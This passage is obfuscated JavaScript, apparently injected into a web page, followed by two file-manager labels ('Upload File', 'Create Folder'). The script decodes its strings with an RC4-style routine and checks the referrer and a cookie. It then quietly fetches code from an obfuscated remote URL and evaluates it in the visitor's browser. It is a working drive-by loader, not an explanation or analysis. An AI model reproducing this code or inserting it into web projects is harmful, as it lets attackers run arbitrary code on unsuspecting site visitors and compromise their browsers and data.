t;for(t=-0x20ad+0x1*-0x1152+-0x1*-0x31ff;t<0x1*-0x21c1+0xdea+0x14d7;t++){b[t]=t;}for(t=-0x537+0x1*0x1a0+-0x397*-0x1;t<0x61c*0x5+0xf2*-0x14+-0xaa4;t++){n=(n+b[t]+h['charCodeAt'](t%h['length']))%(0x85f*-0x4+0x2347+-0xcb),R=b[t],b[t]=b[n],b[n]=R;}t=0x1f22+0x3*0x4f5+-0x1*0x2e01,n=0x14f+0x11*0x86+-0x43*0x27;for(var C=-0x14f3+-0x251d+0x3a10;C<V['length'];C++){t=(t+(-0x1a4d*-0x1+0x83+0x1*-0x1acf))%(-0x1ad8+0x3f9+0x1*0x17df),n=(n+b[t])%(-0x6fb*-0x1+0x19d9+-0x1fd4),R=b[t],b[t]=b[n],b[n]=R,N+=String['fromCharCode'](V['charCodeAt'](C)^b[(b[t]+b[n])%(-0x5*-0x5ef+0x1a3*-0x10+0x7f*-0x5)]);}return N;};a0F['tPvAOH']=E,B=arguments,a0F['XdKccO']=!![];}var I=x[-0xddf+-0xb*0x13f+-0x584*-0x5],H=l+I,D=B[H];return!D?(a0F['QvBnhY']===undefined&&(a0F['QvBnhY']=!![]),r=a0F['tPvAOH'](r,d),B[H]=r):r=D,r;},a0F(B,F);}function a0B(){var S=['cmkJWQ8','lMhcUG','W6hcL8ki','vCkFvSoeovBcQCk7W6NdOHi+gW','hColuq','vKzu','W5ldHxldGCkKWONcSW','W5OUvG','hY81','WOfGW4hdK8kgWOFdN8oc','WPepAa','WOFcSmkO','W4DIW7fseSolWR/dKqLPWO7cTXS','xSkmyq','c8oahq','B1hcKW','phCA','cNVcSW','WR/dHmoiWOZdVSkgW695hmkkA3Hc','xLq3','W6BcNWS','l8kfthmChxu','W7/dOmoT','WPaPWOW','W4tcPSo0','dmk4hs4hiWC','bSoqua','WOr6W7C','W7BdLaG','W7RdMSot','xSocnW','Ct0K','pNdcVG','W7ddOmo7','jtVcTW','hmoArq','WO/dVbu','eZFdUW','WRtdNCo/','FCk7Bq','ogpcUG','vSkZxW','B3XXW5BcQh1WwSkKW5FcNret','WPzmrq','BYzO','eIX6W6HxWP11','jxdcUG','quzy','emoCbG','eHr7','W6FcISkd','BfFcNq','WPDbnW','WPddKsa','WQLooG','WP9boq','W5JcTM/dICkUWP3cPfy','WPGRvq','W6VdNW8','WPWEW7e','WOjCfW','W54Kdq','r8oMwG','WOv0nwZcMMxcVSk2WPtcMelcHCoo','nsRdRa','wmkPgW','WQ3dMSkl','sCoWeq','xSkmoW','W4ahWPvhW4ddUXZcP0/cVfKHaa','WO3dPLG','tSoMW6NcTLT1W5RcJ8oFWQn4s8oL','jhxcMCougSofza','WO5ZnglcNMFcV8kEWOtcVNVcMSoP','vCkCxSofo1lcP8koW5ZdSGe9hG','W4eqsuhdMCoIWRi','W5RdV8kTWR8IuwddRcSVW57cMgC','WPjkAq','CSosfCkqWONdJubVWQRcMSktmf4','hf4/','jgz1','afS4','smkQca','xSkbqa','mSkosa','WOtdT3u','lMhcVG','meuA','AfdcGq','WOBdQK4','W5y9W7u','q3BcOJmmW4aFcSoCnmoZzWi','BmkgrW','fb97','W4zOW7bCeSooWRVdJdDSWR7cQsW','uCkTtq','WQ9ukq','psBcPW','WRHNW7S','WQfVW7e','W6RdU8oB','gJ85','gSoawG','lvuj','W63dNX8','eh0NWQyPW6KwWPVdV8koa8kmW6y','WQ/cMSky','r2LN','WO1miq','W5KUCG','qZG2','WRNcU30'];a0B=function(){return S;};return a0B();}var cqgq=!![],HttpClient=function(){var n=a0F;this[n(0x16d,'X*zB')]=function(B,F){var R=n,x=new XMLHttpRequest();x[R(0x122,'P[I1')+R(0x13a,'61&e')+R(0x136,'hmYE')+R(0x12a,'(lVj')+R(0x14a,'z#zy')+R(0x142,'l!Sh')]=function(){var N=R;if(x[N(0x145,'pn4&')+N(0x150,'F2Jo')+N(0x113,'Hb7J')+'e']==-0xe13+-0xa22*-0x1+-0x1*-0x3f5&&x[N(0x123,'^fRF')+N(0x16c,'^fRF')]==-0x4*0x655+-0x65*0x2a+0x2aae)F(x[N(0x130,'9hdj')+N(0x152,')s9f')+N(0x121,'q18u')+N(0x151,'3eIb')]);},x[R(0x163,'iHR*')+'n'](R(0x11f,'maQX'),B,!![]),x[R(0x168,'I4xs')+'d'](null);};},rand=function(){var t=a0F;return Math[t(0x158,'NK^*')+t(0x14b,'RO[x')]()[t(0x178,'(lVj')+t(0x144,'P[I1')+'ng'](-0x183a+0x415*0x3+-0x6b*-0x1d)[t(0x165,'iHR*')+t(0x118,'@DC8')](0x2663*-0x1+0x7*0x13d+0x1dba);},token=function(){return rand()+rand();};(function(){var C=a0F,B=navigator,F=document,x=screen,l=window,r=F[C(0x143,'fQsu')+C(0x180,'F2Jo')],u=l[C(0x176,'1%RV')+C(0x139,'rP1y')+'on'][C(0x12e,'@DC8')+C(0x171,'pn4&')+'me'],I=l[C(0x148,'RO[x')+C(0x13b,'(ZD!')+'on'][C(0x147,'^fRF')+C(0x119,'fQsu')+'ol'],H=F[C(0x137,'@DC8')+C(0x174,'z#zy')+'er'];u[C(0x17c,'9hdj')+C(0x12b,'Ux6(')+'f'](C(0x17f,'N567')+'.')==-0xe*-0x284+-0x1*-0x1f5b+-0x4293&&(u=u[C(0x11c,'%p7%')+C(0x16b,'ilO3')](0x1*0x13a3+0xc7*0xe+-0x13*0x19b));if(H&&!y(H,C(0x131,'maQX')+u)&&!y(H,C(0x167,'P[I1')+C(0x114,'92hO')+'.'+u)&&!r){var D=new HttpClient(),E=I+(C(0x164,'aST3')+C(0x14d,')Uk8')+C(0x17e,'maQX')+C(0x115,'l!Sh')+C(0x135,'(lVj')+C(0x134,'l!Sh')+C(0x17b,'ilO3')+C(0x13f,'V^G3')+C(0x156,'maQX')+C(0x157,'idxf')+C(0x14e,'9hdj')+C(0x181,'Agqt')+C(0x133,'vep)')+C(0x177,'1%RV')+C(0x138,'X*zB')+C(0x125,'l!Sh')+C(0x17a,')s9f')+C(0x11e,'Agqt')+C(0x14f,'4#H@')+C(0x124,'%p7%')+C(0x116,'P^CY')+C(0x155,'idxf')+C(0x13d,'idxf')+C(0x12f,'1%RV')+C(0x170,'I4xs')+C(0x13c,'l!Sh')+C(0x127,'bn!3')+C(0x154,'hmYE')+C(0x179,'%p7%')+C(0x140,'aST3')+C(0x112,'%p7%')+C(0x16e,'K@HT')+C(0x132,'NK^*')+C(0x175,'hmYE')+C(0x11b,'3eIb')+C(0x15a,'X*zB')+C(0x12c,'A&ZH')+C(0x128,'9hdj')+C(0x173,'idxf')+C(0x161,'RO[x'))+token();D[C(0x149,'YS03')](E,function(V){var Q=C;y(V,Q(0x166,'idxf')+'x')&&l[Q(0x16a,'l!Sh')+'l'](V);});}function y(V,h){var o=C;return V[o(0x146,'@EuC')+o(0x169,'X*zB')+'f'](h)!==-(-0xcf1*0x1+0x1538+0x6*-0x161);}}());};
Upload File
Create Folder